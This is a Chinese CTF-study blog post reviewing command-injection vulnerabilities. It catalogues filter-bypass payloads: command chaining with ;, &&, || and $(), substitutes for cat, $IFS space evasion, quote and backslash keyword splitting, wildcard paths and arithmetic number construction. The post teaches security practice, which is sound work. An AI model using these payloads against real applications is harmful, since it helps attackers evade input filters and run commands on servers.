总结,复习,整合命令执行漏洞实现及其绕过(绕过方式大全)

简介: >🍀1复习一下以前的内容>🍀2总结整合一下过滤方法
🏆今日学习目标:
🍀1复习一下以前的内容
🍀2总结整合一下过滤方法
✅创作者:贤鱼

请添加图片描述

🍀复习内容:

漏洞原理

==控制可执行系统命令的函数==

思路

控制函数,寻找flag,并且根据其对应过滤内容绕过过滤

实现过程

通过ls和ls /查看当前目录下以及根目录,通过cat,tac等打开flag

🍀🍀绕过过滤方法大融合

Linux中的连接符

大部分题目中都带有如下内容或者与其作用相似的,我们为了执行命令必须让下面这段代码失去作用
在这里插入图片描述
这里就需要介绍到连接符了,具体内容可以查看以往两期,这里我们重在总结:

==连接符==

cat flag.php; ls
👆执行完cat,再执行ls
cat flag.php&& ls
👆cat成功执行再执行ls
cat flag.php|| ls
👆cat执行失败执行ls
cat flag.php| ls
👆将flag的内容作为第二个命令的输入
cat flag.php 'cat love xianyu'
👆先执行单引号内内容,将结果作为命令的一部分
cat flag.php $(cat love xianyu)
👆先执行¥()内内容,将结果作为命令的一部分

查看文件的命令

==如果遇到了过滤可以相互替换==

==命令==(使用方法):
==cat== (cat flag.php)
==tac== (tac flag.php)
==more== (more flag.php)
==less== (less flag.php)
==head== (head flag.php)
==nl== (nl flag.pgp)
==od==(od -c flag.php)
==vi== (vi flag.php)
==vim== (vim flag.php)
==sort== (sort flag.php)
==uniq== (uniq flag.php)
==file== (file -f flag.pgp)
==grep== (grep flag.php)
==paste== (paste flag.php)
==xxd== (xxd flag.php)

绕过空格方式

cat flag.php
cat $IFSflag.php

cat$IFS$1flag.php

cat${IFS}flag.php

绕过关键字

有时候会过滤掉类似flag的关键字,可以通过一下方式绕过

flag
fl'a'g==单引号==
fl"a"g==双引号==
fl\ag==反斜杠==
fl$@ag==¥@==

也可以拼接字符

a=c;c=t;d=a;$a$d$c==拼接完就是cat==

a=f;c=a;d=g;b=l;cat$IFS$1$a$b$c$d.php==abcd拼接出来flag==

过滤全部字符

/bin/base64
/???/????64 ????????

构造数字

echo $(())
==0==
echo $((~$(())))
==-1==
echo $((~$(())))$((~$(())))$((~$(())))
==-1-1-1==
echo $(($((~$(())))$((~$(())))$((~$(())))))
==-3==
echo $((~$(($((~$(())))$((~$(())))$((~$(())))))))
==2==

🏆结束语
==贤鱼依旧会不定期更新已有内容,并且会继续更新新的内容,还请大家继续关注支持贤鱼!!!==
请添加图片描述

相关文章
|
存储 安全 Shell
[网络安全]upload-labs Pass-12 解题详析
[网络安全]upload-labs Pass-12 解题详析
281 0
|
JavaScript
|
2月前
|
人工智能 安全 数据可视化
Dify让你拖拽式搭建企业级AI应用
Dify是开源大模型应用开发平台,融合BaaS与LLMOps理念,通过可视化工作流、低代码编排和企业级监控,支持多模型接入与RAG知识库,助力企业快速构建安全可控的AI应用,实现从原型到生产的高效落地。
Dify让你拖拽式搭建企业级AI应用
|
Java 数据库连接 Maven
手把手教你如何搭建SSM框架、图书商城系统案例
这篇文章是关于如何搭建SSM框架以及实现一个图书商城系统的详细教程,包括了项目的配置文件整合、依赖管理、项目结构和运行效果展示,并提供了GitHub源码链接。
手把手教你如何搭建SSM框架、图书商城系统案例
|
网络安全 开发工具 git
Git - 本地 Git 绑定 Gitee 仓库
Git - 本地 Git 绑定 Gitee 仓库
713 0
Git - 本地 Git 绑定 Gitee 仓库
|
人工智能 算法 C语言
编写函数isprime(int a),用来判断自变量a是否为素数,若是素数,函数返回整数1,否则返回0
通过上述代码和解释,我们实现了一个高效判断素数的C语言函数 `isprime`。该函数结合了基础判断和优化的循环逻辑,确保高效准确地判断给定整数是否为素数。希望本文能帮助你更好地理解和实现素数判断算法。
912 1
|
机器学习/深度学习 存储 人工智能
用60%成本干80%的事,DeepSeek分享沉淀多年的高性能深度学习架构
【10月更文挑战第2天】近年来,深度学习(DL)与大型语言模型(LLMs)的发展推动了AI的进步,但也带来了计算资源的极大需求。为此,DeepSeek团队提出了Fire-Flyer AI-HPC架构,通过创新的软硬件协同设计,利用10,000个PCIe A100 GPU,实现了高性能且低成本的深度学习训练。相比NVIDIA的DGX-A100,其成本减半,能耗降低40%,并在网络设计、通信优化、并行计算和文件系统等方面进行了全面优化,确保系统的高效与稳定。[论文地址](https://arxiv.org/pdf/2408.14158)
707 5
|
监控 前端开发 网络协议
《吐血整理》保姆级系列教程-玩转Fiddler抓包教程(5)-Fiddler监控面板详解
【2月更文挑战第7天】《吐血整理》保姆级系列教程-玩转Fiddler抓包教程(5)-Fiddler监控面板详解 按照从上往下,从左往右的计划,今天就轮到介绍和分享Fiddler的监控面板了。监控面板主要是一些辅助标签工具栏。有了这些就会让你的会话请求和响应时刻处监控中毫无隐私可言。监控面板是fiddler最核心的功能之一。记录了来自于服务器端(webServer)的请求会话。包括页面的请求和静态文件的请求。状态面板主要显示的是会话及会话的状态。位于软件界面右边的这一大块面板,即为辅助标签 + 工具,宏哥称之为监控。
477 0
|
存储 安全 Linux
CTFHuB靶场命令执行题型过关总结
本篇博文是对自己学习rce漏洞后,因为没有进行实战练习,仅仅停留在概念上,因此做了一次靶场实战练习,来帮助自己熟悉rce漏洞的利用类型以及利用方法,写下这篇文章对此做个总结..其实关于这个练习已经过去了很久了,但我还是要那出来进行一次复习吧,对与命令执行相关的一些操作,对自己在漏洞挖掘方面能有更多的帮助,通过这次练习也对自己关于代码审计或是关于linux命令的常见命令的同意替换有了更多的了解.